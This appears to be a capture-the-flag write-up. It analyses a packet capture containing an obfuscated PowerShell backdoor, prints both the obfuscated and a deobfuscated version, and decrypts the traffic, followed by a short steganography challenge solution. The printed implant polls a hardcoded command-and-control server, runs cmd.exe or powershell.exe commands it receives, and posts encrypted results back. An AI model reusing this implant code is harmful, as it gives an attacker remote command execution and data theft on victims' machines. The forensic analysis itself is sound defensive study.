${m`A04XM`gY} = .("{0}{1}" -f("{1}{0}" -f 'r','Dec'),'ypt') ${V`XZ`Tmff} ${Ma04X`MgY} ${mA0`4X`MgY} = ${ma0`4`XMgy}.("{1}{0}"-f'it','spl')."INv`okE"() ${FL`AG} = ${MA04`x`mgY}[0]
if (${Fl`Ag} -eq ("{0}{1}" -f 'VAL','ID')){
${WB1`SWYo`je} = ${MA04`X`MgY}[1] ${yO8`X`M5S} = ${Ma0`4XMgY}[2..${MA04x`mgY}."LeNg`TH"] if (${wb1s`Wyo`Je} -eq ("{1}{0}"-f'l',("{1}{0}" -f'hel','s'))){
${F} = ("{0}{1}{2}"-f 'c',("{1}{0}" -f'e','md.'),'xe') ${y`O`8XM5} = "/c "
foreach (${a} in ${yo8`xM`5s}){ ${Yo8`x`m5} += ${a} + " " } ${KcNJ`C`QdL} = .("{0}{1}"-f 'sh','ell') ${f} ${yo`8xM5} ${kCnjCQ`DL} = .("{1}{2}{0}"-f 'pt','Enc','ry') ${VxztM`FF} ${kc`Nj`cqdl} ${kvqbX`B`Ur} = @{("{1}{0}" -f 'lt',("{0}{1}" -f 'r','esu')) = "$KcnJCQDl"}
&("{3}{0}{1}{4}{2}" -f'ke','-W',("{0}{1}" -f 'qu','est'),("{0}{1}"-f'I','nvo'),("{1}{0}" -f 'bRe','e')) -UseBasicParsing -Uri ${tV`yM`Ey`RR99} -Body ${k`V`QbXbur} -Method ("{1}{0}" -f 'T','POS') } elseif (${Wb1Sw`Y`OJe} -eq ("{1}{0}{2}"-f 'owe','p',("{2}{1}{0}" -f 'l','l','rshe'))){
${f} = ("{0}{3}{4}{1}{2}" -f ("{0}{1}"-f'p','owers'),'e','xe','he','ll.') ${yO`8X`m5} = "/c "
foreach (${a} in ${Y`o8xM5s}){ ${YO8x`m5} += ${a} + " " } ${kc`Nj`cqdL} = &("{0}{1}" -f 'she','ll') ${F} ${yO`8`XM5} ${k`cn`jCQDL} = .("{0}{1}"-f ("{0}{1}" -f 'En','cr'),'ypt') ${vXZT`mfF} ${KCN`jcqDl} ${KVqb`x`BUr} = @{("{1}{0}"-f ("{0}{1}" -f 'es','ult'),'r') = "$KcnJCQDl"}
&("{0}{2}{4}{5}{1}{3}"-f'Inv',("{0}{1}"-f 'WebR','e'),'o',("{1}{0}" -f 'st','que'),'ke','-') -UseBasicParsing -Uri ${tvyMEY`R`R99} -Body ${k`V`qBXb`Ur} -Method ("{1}{0}" -f 'OST','P') } elseif (${wb`1swYO`Je} -eq ("{0}{1}"-f 'sl','eep')){ ${n} = [int]${yO`8Xm`5S}[0] ${kV`Q`BXbur} = @{("{0}{1}"-f're',("{0}{1}"-f 'su','lt')) = ""} &("{2}{0}{4}{1}{3}" -f 'o',("{1}{0}"-f 'Re','Web'),'Inv',("{0}{1}"-f'qu','est'),'ke-') -UseBasicParsing -Uri ${tV`Ymeyr`R`99} -Body ${Kv`QBXBur} -Method ("{1}{0}" -f 'T','POS') } elseif (${wb`1sWy`ojE} -eq ("{1}{0}"-f'e',("{1}{0}"-f'm','rena'))){
${c`wJ2t`Wh} = ${Y`O8Xm`5S}[0] ${TVY`mey`Rr99} = (("{1}{0}" -f'tp','ht') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh") ${ijF`Ys`E2} = (("{1}{0}"-f'ttp','h') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")
${kV`Qb`XbUr} = @{("{1}{0}" -f'lt',("{1}{0}" -f 'esu','r')) = ""} .("{0}{1}{4}{2}{3}" -f 'Inv',("{0}{1}{2}" -f'ok','e-','WebR'),'qu','est','e') -UseBasicParsing -Uri ${TVY`mEyR`R`99} -Body ${KvqBxb`Ur} -Method ("{1}{0}"-f 'OST','P') } elseif (${w`B1s`WYOJe} -eq ("{0}{1}" -f 'qu','it')){ exit } } .("{1}{0}"-f 'p',("{0}{1}"-f'sl','ee')) ${N} }}Using ChatGPT + PSDecode to clean it up. This deobfuscated version is for reference only — it may not execute identically to the original:
$CIPHER_MODE = [System.Security.Cryptography.CipherMode]::CBC$PADDING_MODE = [System.Security.Cryptography.PaddingMode]::Zeros$CONVERT_TYPE = [System.Convert]$TEXT_ENCODING_TYPE = [System.Text.Encoding]$DNS_TYPE = [System.Net.Dns]$STRING_TYPE = [System.String]
function Create-AesManageObject($iv, $key) { $aesManaged = New-Object System.Security.Cryptography.AesManaged $aesManaged.Mode = $CIPHER_MODE $aesManaged.Padding = $PADDING_MODE $aesManaged.BlockSize = 128 $aesManaged.KeySize = 256
if ($iv) { if ($iv.GetType().Invoke().Name -eq $STRING_TYPE) { $aesManaged.IV = $CONVERT_TYPE::FromBase64String.Invoke($iv) } else { $aesManaged.IV = $iv } }
if ($key) { if ($key.GetType().Invoke().Name -eq $STRING_TYPE) { $aesManaged.Key = (Get-Variable XNFD).Value::FromBase64String.Invoke($key) } else { $aesManaged.Key = $key } }
$aesManaged}
function Encrypt($key, $input) { $aesManaged = Create-AesManageObject $key $encryptor = $aesManaged.CreateEncryptor() $bytes = [System.Text.Encoding]::UTF8.GetBytes($input) $encryptedBytes = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length) $result = $aesManaged.IV + $encryptedBytes $aesManaged.Dispose() [Convert]::ToBase64String($result)}
function Decrypt($key, $input) { $aesManaged = Create-AesManageObject $key $decryptor = $aesManaged.CreateDecryptor() $bytes = [Convert]::FromBase64String($input) $iv = $bytes[0..15] $inputData = $bytes[16..($bytes.Length - 1)] $decryptedBytes = $decryptor.TransformFinalBlock($inputData, 0, $inputData.Length) $result = [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0) $aesManaged.Dispose() $result}
function Shell($filename, $arguments) { $processStartInfo = New-Object System.Diagnostics.ProcessStartInfo $processStartInfo.Filename = $filename $processStartInfo.RedirectStandardError = $true $processStartInfo.RedirectStandardOutput = $true $processStartInfo.UseShellExecute = $false $processStartInfo.Arguments = $arguments $process = New-Object System.Diagnostics.Process $process.StartInfo = $processStartInfo
$process.Start() | Out-Null $process.WaitForExit()
$output = $process.StandardOutput.ReadToEnd() $errorOutput = $process.StandardError.ReadToEnd() "VALID: " + "$output`n$errorOutput"}
$serverIP = '128.199.207.220'$serverPort = '7331'$key = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M='$delay = 3$currentTask = ""
$hostname = [System.Net.Dns]::GetHostName()$requestUri = "http://$serverIP:$serverPort/reg"$body = @{ 'name' = $hostname 'type' = "p"} | ConvertTo-Json
$taskUrl = "http://$serverIP:$serverPort/tasks/$currentTask"$resultUrl = "http://$serverIP:$serverPort/results/$currentTask"
for (;;) { $content = Invoke-WebRequest -UseBasicParsing -Uri $url -Method 'GET' | Select-Object -ExpandProperty "Content"
if (-Not $response::Invoke($content)) { $decryptedContent = Decrypt-XTEA $key $content $splitContent = $decryptedContent.Split().Invoke() $flag = $splitContent[0]
if ($flag -eq "VALID") { $action = $splitContent[1] $parameters = $splitContent[2..$splitContent.Length]
if ($action -eq "shell") { $executable = "cmd.exe" $arguments = "/c "
foreach ($parameter in $parameters) { $arguments += $parameter + " " }
$result = &("shell") $executable $arguments $encryptedResult = &("Encrypt") $key $result $postBody = @{("result") = "$encryptedResult"}
Invoke-WebRequest -UseBasicParsing -Uri $apiUrl -Body $postBody -Method "POST" } elseif ($action -eq "powershell") { $executable = "powershell.exe" $arguments = "/c "
foreach ($parameter in $parameters) { $arguments += $parameter + " " }
$result = &("shell") $executable $arguments $encryptedResult = &("Encrypt") $key $result $postBody = @{("result") = "$encryptedResult"}
Invoke-WebRequest -UseBasicParsing -Uri $apiUrl -Body $postBody -Method "POST" } elseif ($action -eq "sleep") { $duration = [int]$parameters[0] $postBody = @{("result") = ""}
Invoke-WebRequest -UseBasicParsing -Uri $apiUrl -Body $postBody -Method "POST" Start-Sleep $duration } elseif ($action -eq "scheduling") { $taskID = $parameters[0] $resultsUrl = "http://$serverAddress:$port/results/$taskID" $taskUrl = "http://$serverAddress:$port/tasks/$taskID"
$postBody = @{("result") = ""} Invoke-WebRequest -UseBasicParsing -Uri $resultsUrl -Body $postBody -Method "POST" Invoke-WebRequest -UseBasicParsing -Uri $taskUrl -Body $postBody -Method "POST" } elseif ($action -eq "quit") { exit } }
Start-Sleep $delay }}Observation: The PowerShell above connects to 128.199.207.220 and uses AES CBC with $key = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M='.
Back to the pcapng, we see some encrypted connections:
Filter pcap with ((ip.dst == 128.199.207.220) || (ip.src == 128.199.207.220)) && (http) && !(frame contains "NO CONTENT") && !(frame contains "IFDRBU") and decrypt each packet:
from Crypto.Cipher import AESfrom base64 import b64decodeimport urllib.parse
key = b64decode("d/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M=")iv = bytes([i for i in range(16)])cipher = AES.new(key, AES.MODE_CBC, iv = iv)
def decrypt(cipher, b64): return cipher.decrypt(b64decode(urllib.parse.unquote(b64)))
b = "h%2FREF9LOiNe2K46pgej%2Bc%2B5lFaMRnx40uJ6JVD8quWGTNi69IUUiPkoWxdstces12SyXDdgI9HwW37xqmPlGP2coNqmqBEJV2TgbhWHilslzeXOW3nuRNJ7xqbsjAlYZvzTdQnFNByCYUHEXnh%2FuctV0zSYIP23QvJRPm617f%2F%2Ba4lshe8xLjPc%2FChkjhkpX8lrOYKugW0imPMolvoySj567nkoXF95PwGFIjrbhn9%2FjqjKNWba2NRM1Zwkqrqk1O3OwOuYolcVjfl8CtRv3qIklviAKqfYS3WEXZq4%2ByYlICfZEVekO%2BLTkyhFmbnF6LHp6ZqN6CBTT3kIZfPQrIR8mhrBSvMXVC3ErTYRMEhcvKDWkn4HuuJh9TEoqqdKQERujl5LLq0IPIHAPE%2Bxd%2BYGcUGhNb%2BovozsGCBksquh6qGQYDS5XQsc43XKdBqnFoP9XZTa6p4KNVBvNXuR8CvPDhmKDeZTpdKtsESRKsmtaPfj8Qle7zu3kfbd2b0RCddz7THUD46%2Be0UjwTt8%2ByofKQVz3JHmEwqNCSxtagvHm1hMBnfpLWTwOzAc9H0r4IswJinMb0ovt1dFWGSdbzc4s%2F%2BYLSefDedRZHXW9FWqSgoIXGBc%2BEQhuFvQQPiI6hTTq64Y8%2BQpBBrGzXbop83rDGPBPs9ZtvafVDNY4bA5NMCuytOUB4jK50QgfpPjIlVfMajThihRhdoa6dJlquVlNq4pcFX3eTqX%2BUFQldlmwPyxVgIF8uXGJRg2UMuwYVYDq0nOCUPibCJ8H7pwbhSVMF87L1wpIgP2%2FeBSF1MIyfu621hIoXMLibDUaxLupq%2BFXoIhms%2B5Ow8kyxdi8EOZA55A2B5p2%2BY9kZwaIpPsuPk3h78J%2BQvDmDwbe2U4IMSXVv252Tqumbymw4pmNNxzXQRCEQ4BlcGwOPYqxPBkxdg3k%2BFW1zPAFSNKy5X38MCszAZ%2Fi1dcXYwShjj4VrZLMM%2BzitYwCAr5xxPRErG3dHd4ozN8jK6tkOGXtb8Q9smcQGtMLygl198EfXttQuieaEOwncrmoRVv3QV6%2Bwo4qZ%2FjUx7KLXakmGhhnr4p6K4dLwT7QROiStuVUyuxNr7BisEhTKU5PpiSvCwoEl2%2BvYv%2BXfXC8kAK7%2BUZhJ7jW3EeNAlGq3vwo%2BPE0DFUFaN%2FyiCsaYQanw5s6Q2%2BboNph7ybKBU1jKj%2BcqnCh4clum6ZImXKmugKzzQI5B595kkgci2GmqK8ctnU7xOuVP4GH3VQkt4HttbeE%2BQ9QDM5QaI8AOi2WUl%2B%2BW3bevqPf4wSPnk4kAc%2F%2FcSdpHI%2B90U%2FNzsiwlMQ8VAoPjJ%2Bb2VHWO51%2F1UqXUTnsWqCtM08dtHnxmwdfp3mHLE1DDWk%2BFxu%2F6%2BhNQFv4hM5ir4IC5Jw2dhjY0e5JZ8s1dd28s%2BDzKNk8AaMq%2Bh0ONWkzK6YF1mW8bXNSHaP2Ag9EnP50KPPZztfcwjUiy7dYR2oXqIPJiS9NwzoijJ%2FllTFPNOH7%2FvU5pBpcg7I%2Brqkr%2FayCW2si3md4es2Mr21p0z8itsrDErrawjX7cb30rR7BEEY%2B9fUz%2FuxSvafuFG0CEUZxdXljsPNz94%2FANu4qAiAqxZeRwMr%2BMZsyX%2FdYZoREl74sk4mOg0ilLhmTfFFN6d0te1es"b = "RrzBf9o5vTBf+vInYW3OTzBvvNIWSyyKsx6v25jOD9roPGP4gOhaHPc/u7l804cs"b = "aix8RxrqFg9Wi2uiE6B8BVgr5L51x55Cxxxw4zppPONqXskKoe+N7OMDg1d06pTj"b = "tp4pZ9OgpI9uxr4sNupHQJE5hBlTVd7NbIK21rjApBf15tj9AuNo6OU/zJ/K3REi"b = "luFqXmiFN1kyXfGkxrD9GukoecDD5s6XLJwlHJ2T%2FYu7F8NkHwvBwut0us0%2FrbsJabWaVH47WHTwPEdGnj2rxdsm0o7dns4ptkRQ4ckX9uxwMLKqFWygzb9oSVA7BR7ilsjkBwvvSJDmKCOcITICTg%3D%3D"b = "bK2FX23ydWGbJNdJliRrDqjOE17p1YakRt2cjgaRJJv0zAVVro+Gq1waD0ui+lCe"b = "syJFxAeJjdsNXrRpzEenYfY45X1Ag%2B3DMc%2B8V1moMH4J97dMf4DD5lMiQEBNAohIxmnjYG2bD9sFzLh9sCNXQnr5xrzGDSqKzXi%2BCbMGYkyvfAovaK7DrdzdwR%2BwMHQPju7ujDz2m0W2G3mlpLv%2Bfz29mEFb6EbtJpcwN%2BmVkjPsWTiLtqNisztY2OgCvKkjDLD21Ke2iizhhDDcFWOc4gz5PQSXxlELaPsbZ10fiVEVFWUXNLAM3MTUgHmQuYA9AHCqWQmSewV1%2FiIcoZ%2BFwJB2H2SJSnZtLLhNsBkSgGYVaeAr%2F2CzKRWEa611H6blwl%2BSwh6tz9Fc3UiSAu210vUrdTWAT7t2rVPBFTsg4O1wuDxBacdP1aVsYAKCPUygpxxnxwjdesiDuja1nNU7ZfB%2F%2BAhbwx5dF1AB7hgLT5AQkLWehwfrx4bIz40JUJth7S4oNSpoLir3Zztd8t%2FLyEOO7qZEpr8d5libGZngrYUxoOEMJkoeMk6rfepBioDMFsKQ03ZgbHLnfXvhNdgRuYlV9wucD3NJitZ%2Be1bTPxEabcboTu%2F7lq0CrxQvuU%2BZnpedwvEu7OgjVldq3W26tEHWSk3TXBYjloJFhihNxzaLXNRtFwa85t%2FHsbUg2K2j7aJZoStBG6sa8%2B8KiXJ48WAgnaWamXsxMUIlC3UzDlHl%2FmEdMljsJJRx74v%2BdcOgcrE7lHP7hd4zG4L0OHhiIB2p%2F69rUeQtUABJMc9gijLZ51Lh8TMeG074biK1SO0nANJaS8Eow0wV%2F%2Br9u488OqNALJ%2BJc6fgY1JRLT3rBIiBFwH520oqaH6CcuMlIV4hpka%2BBRseU5X6FyPT5SR6Pf7TIF8MHT1NBZzVxH%2BeGkBxLMbZYt39FZLtWpYXOEQbghxUT4svtsphzGnF9FbMMlxe8d1ATfCm7CQDqeC4Bviq60oWDjupDi%2F5%2FRgHLh%2BGJooVOka4sofTwEckFJif5d6v26rgrcfr51Y6RebUCoxUGQfdgoityTeHfmeIK5aXVCSNePQmsMEFIrCl0E7ncnFJ649yVQ6nvDNhxCqWL%2Bz%2F7N5admwm7rdXotv7l5GPJ9G7FQW5jCLJ0MwUgK%2ForGEJo93%2FSI4p6pVRVl7L8cGaeGOc1WhWVRU4wWlDVC1xurRMjjrXgrjsDe0Y9iFkTlDw6rJeUd4kKTu%2FFsiYcF9Xdj2bpP8kLZu4OaSNkZ3UEwqLs%2BPca8v%2BR2q2BX0mjNleYmZsyYqrISDh3KuF4iBv6INaguDECQ%2BwHHr25L9CjYmu%2FnIlJmyB0OycbAH%2FZq9LSMSIzdD6enlxGdQBfuvtYpAPHfQ4bmao3xQxsD09gjA0IjN05l8Bv3cUklK0gTkANUEVhUGbQ7LgNC8A5G%2BEpUB32ur72Y%2BNAFLeCAdYd8czsz%2B51KKNQr3V29Q1kXZXGXRqNUPva8kDofwCtt8Hmg554%2B0YxENNY5S7b72H7Jw4kxQa%2BOe2vkEnBl6EbDVi2gqFdOwvCqQD7cLP5l7tbkbWRBltCKpvlaz3pJd4%2FxuBkVCZDBMqoF%2FPUIt4mPDhmN02hrA5jV15fo%2Bod8lYFazxxZAjg4vV5meEL3K3hJfSSmTtLcuXpCHwxDA1%2BvOcGVsapwTn2vIlyuOlq3AgqKcXr1aFb6DJYjnIg%2Fo8gbJX3lE%2Fb0ZlVPYFBx0WfI0A%2FSWRsmNM7ICTJCXrGnkLKTyfwXXtWhJt3B4FVgdn"b = "uGjyY6GcnabYem8450v+e256asufK4JUhfW5/KQfyPeAIkmBiQcwBoQbI8z7v9NLyH9Gwi4k6ViFL0nMTCGGWS0TSS6vqWRHa4ADkfcaVFhcjLmBV23dnOfSoCGUWzCg4TBcpDtc+C4QOc/v+dZSL2ytww2c8+pY1dGwth89dVWej8qifotdP0I9p3f/WNCf"b = "oLGpnM8tDrH9%2FJBe5GYTrewvNFclSWXFfuvoKfF3WezjhkNMJ5aEt3wcAUl2cib0AtdsIBZtgo3M3LLLo%2FYb1YBFrIy%2BRTZW2rwWySE3HE1m4AKv2XkWOvwuapBBC%2Fixkp9U4dzwSdhjOYCIk%2FmTXLJaGDioTHzDJCXuicEMP8O4tbpDbbGdPOPHm4HOHN%2BVUzYrctFoRyGm6aZ7CHyydkQPplBTnksHN43WR%2B%2BC69mvPYfSvGTIlHGPW6yjGbgrtQRjWOfIyXZD0XvG0c9b5Gz0xGJY9axPoEjZHQlsAtLMAdFS4StVY1BjL%2FyBOg6h9zmu10nZwnuDp%2FiXRjVmbjEJeSPYwdsOiCmH%2FubkELlb72b6z9w8%2Fpv6TrmCJWKQo1p0mNUXwstKKHkw4pnBW5IG9HwOOkRzBqB7yna43gGjENzgdmuQWZa35l7ozu5KPjgV5LwMfTeYWDrnII2qvj99j4FhWsxETt85%2BTfI4%2FZc3fAED8NtiAs5sxak03BAhXn26xFlwW%2FfBD7QpMPlUuTs1Eocun4tGRPVfS7jO8DmK%2FGlx81S%2F4By665OVB9Vj2zLQhqfAssVQVnz%2BelcqFcBAHB%2BGkj5JKDk5U7MeOHNi1GjxyrmwvVOn7p6SHdT5WE4S9bM3RKmiAz76de6m2jozSpwr5kVd5lFhrQS3CoziwvwkHYOMu7l1nuCkN65EflYRtSfVnP3eg8QjDTnc6CjhK%2FpTDKDUorsFQ9914X2nE6wwjddgA161UOPW4rwH4Qs6CQJ9bgDB%2BAoMkRsI%2BdzZTrlQGLv1CgX20I3exnFkQAEzmDUo1isTRzCZQM5MiAbLvioZTFpu4c9fH54JBMVFIuM3YLi6ztuMGL4v2cWbj8%2FkzfVLDdG3mKLUZH6cULFa%2Bp4wraULbmYLL4dI7y2iAagQuOXzqgTuqb%2Fdom8px1JCaMoARhizHU9NLp3"print(decrypt(cipher, b0)[16:].decode())print(decrypt(cipher, b1)[16:].decode())Results:
VALID powershell (Format-Hex '.\Math Test.png' | Select-Object -Expand Bytes | ForEach-Object { '{0:x2}' -f $_ }) -join ''VALID 89504e470d0a1a0a0000000d494844520000003a0000003a0800000000c4d015f4000001204944415478dab5968b0e....That’s the hex dump of an image file. Reconstructing it gives a QR code — scan it to get the flag.
Flag: CHH{D0n’t_w0rRy_n0_st@r_wh3rE}
Stenography
CutieK1tty
Description
A cute little cat hides many secrets. Find the interesting thing inside.
Download challenge: https://drive.google.com/file/d/18iGHuowoRUsWqwNmnuWqrqsHbMLwBJG_/view?usp=drive_link (pass: cookiehanhoan)
Solution
Open the .png as text — two suspicious filenames appear:
Rename to .zip and extract with 7zip:
For the .mp3 file, use the spectrum analyzer at https://academo.org/demos/spectrum-analyzer/:
That looks like the RAR password: sp3ctrum_1s_y0ur_fr13nd.
However, the RAR file is corrupted — its header says Cat!. Patch it to Rar!.
Enter the password to open the .rar and get the flag (base64-encoded):
Flag: CHH{f0r3n51cs_ma5t3r}
Comments
💬 Giscus is not configured — fill in
repo/repoId/categoryIdinsrc/components/GiscusComments.astro(get them from giscus.app ).